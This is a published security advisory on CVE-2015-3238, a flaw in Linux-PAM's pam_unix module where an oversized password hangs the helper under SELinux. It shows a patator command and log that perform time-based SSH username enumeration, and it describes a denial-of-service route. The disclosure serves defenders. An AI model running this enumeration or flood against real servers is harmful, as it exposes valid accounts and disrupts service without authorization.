Trustwave SpiderLabs Security Advisory TWSL2015-011: Vulnerability in the pam_unix module in Linux-PAM Published: 06/26/15 Version: 1.0 Vendor: Linux-PAM (http://www.linux-pam.org/) Product: pam_unix module Versions affected: 1.2.0 and prior Product description: Linux-PAM (Pluggable Authentication Modules for Linux) is a *Free* project to implement OSF's RFC 86.0. Pluggable authentication modules are small shared object files that can be used through the PAM API to perform tasks, like authenticating a user at login. Local and dynamic reconfiguration are its key features. Finding 1: Blocking write(2) in _unix_run_helper_binary Credit: Sebastien Macke of Trustwave SpiderLabs CVE: CVE-2015-3238 CWE: CWE-208 If SELinux is enabled, the _unix_run_helper_binary function in Linux-PAM 1.1.8 and earlier hangs indefinitely when verifying a password of 65536 characters, which allows attackers to conduct username enumeration and denial of service attacks. When supplying a password of 65536 characters or more, the process will block on the write(2) call at modules/pam_unix/support.c:614 because it tries to write strlen(passwd)+1 bytes to a blocking pipe and a pipe has a limited capacity of 65536 bytes on Linux. Example: An attacker could leverage this issue to conduct a time-based username enumeration attack against OpenSSH, as demonstrated below against CentOS 7.1 fully patched with SELinux enabled (the vulnerable function is not called if SELinux=disabled in /etc/selinux/config): $ python patator.py ssh_login host=10.0.0.8 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x65536") --max-retries 0 -x ignore:time=0-3 16:30:13 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-01 16:30 AEDT 16:30:13 patator INFO - 16:30:13 patator INFO - code size time | candidate | num | mesg 16:30:13 patator INFO ------------------------------------------------------------------------------ 16:32:13 patator INFO - 1 22 119.968 | root | 2 | Authentication failed. 16:32:13 patator INFO - 1 22 119.927 | joe | 5 | Authentication failed. 16:32:13 patator INFO - 1 22 119.928 | john | 8 | Authentication failed. ... An attacker could also cause a denial of service by repeatedly sending a valid username with a 65536 character password to the OpenSSH daemon, which will then temporarily deny new connections after hitting MaxStartups. Remediation Steps: Upgrade the Linux-PAM module to version 1.2.1. Revision History: 05/12/15 - Vulnerability disclosed to vendor 06/25/15 - Patch released by vendor 06/26/15 - Advisory published References 1. https://bugzilla.redhat.com/show_bug.cgi?id=1228571 2. https://bugzilla.redhat.com/attachment.cgi?id=1038860 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.